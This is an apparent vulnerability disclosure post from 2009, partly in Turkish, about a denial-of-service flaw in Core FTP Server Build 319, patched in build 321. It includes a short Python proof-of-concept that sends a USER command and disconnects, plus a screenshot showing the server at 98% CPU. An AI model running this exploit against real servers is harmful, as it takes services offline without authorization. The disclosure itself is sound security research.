

Core FTP Server 1.0 Build 319 Denial of Service Vulnerability

written by Mert SARICA | 1 December, 2009

Sorunun kaynağına kabaca bakacak olursak ftp sunucusuna USER komutu gönderildikten hemen sonra bağlantı kesilirse, CPU %100'e yükselmekte ve servis kapatılana dek bu seviyede çalışmaya devam etmektedir. Bu zafiyeti istismar edebilmek için ftp sunucusu üzerinde geçerli bir hesabınızın olmasına gerek yoktur.

Not: Buil 321 ile sorun ortadan kalkmıştır.

Ok sorry about the delay, here's the build that should fix it..
<http://www.coreftp.com/test/Server.exe> (build 321)

Core FTP Support

Download: [Core FTP Server 1.0 Build 319](#)

POC Code:

```
# Core FTP Server 1.0 Build 319
# Denial of Service Vulnerability
# Note: FTP account is not required for exploitation
# http://www.mertsarica.com

import socket, sys

HOST = 'localhost'
PORT = 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((HOST, PORT))
except:
    print "Connection error"
    sys.exit(1)

try:
    s.send('USER MS\r\n') # magic packet
    s.close()
    print("Very good, young padawan, but you still have much to learn...")
except:
    print "Connection error"
    sys.exit(1)
```

POC Screen Shot:

The screenshot shows a Windows XP Professional virtual machine running in VMware Workstation. A Python script named `core_dos.py` is being executed in a Notepad window. The script is a Denial of Service (DoS) attack, attempting to connect to an FTP server at `192.168.142.129` on port 21. It sends a 'magic packet' consisting of the string 'USER MS\r\n'. The script outputs 'Very good padawan...' upon successful execution.

Simultaneously, the Windows Task Manager is open, showing the 'Processes' tab. The `coresrvr.exe` process is highlighted, showing it is running under the Administrator user with 98% CPU usage and 1,816 K of memory usage. Other processes like `VMwareService.exe`, `pythonw.exe`, and `taskmgr.exe` are also visible.

The command prompt at the bottom shows the current directory as `C:\Documents and Settings\Administrator\Desktop` and the command `core_dos.py` has been executed, resulting in the output 'Very good padawan...'.

Image Name	User Name	CPU	Mem Usage
coresrvr.exe	Administrator	98	1.816 K
VMwareService.exe	SYSTEM	02	4.368 K
pythonw.exe	Administrator	00	13.104 K
taskmgr.exe	Administrator	00	2.540 K
cmd.exe	Administrator	00	1.704 K
svchost.exe	LOCAL SERVICE	00	3.712 K
wireshark.exe	Administrator	00	23.908 K
jusched.exe	Administrator	00	5.720 K
VMwareUser.exe	Administrator	00	5.276 K
VMwareTray.exe	Administrator	00	3.396 K
explorer.exe	Administrator	00	12.100 K
spoolsv.exe	SYSTEM	00	5.872 K
wuauclt.exe	Administrator	00	3.988 K
svchost.exe	LOCAL SERVICE	00	3.884 K
svchost.exe	NETWORK SERVICE	00	3.548 K
ctfmon.exe	Administrator	00	4.088 K
svchost.exe	SYSTEM	00	23.232 K
svchost.exe	NETWORK SERVICE	00	4.236 K
svchost.exe	SYSTEM	00	4.836 K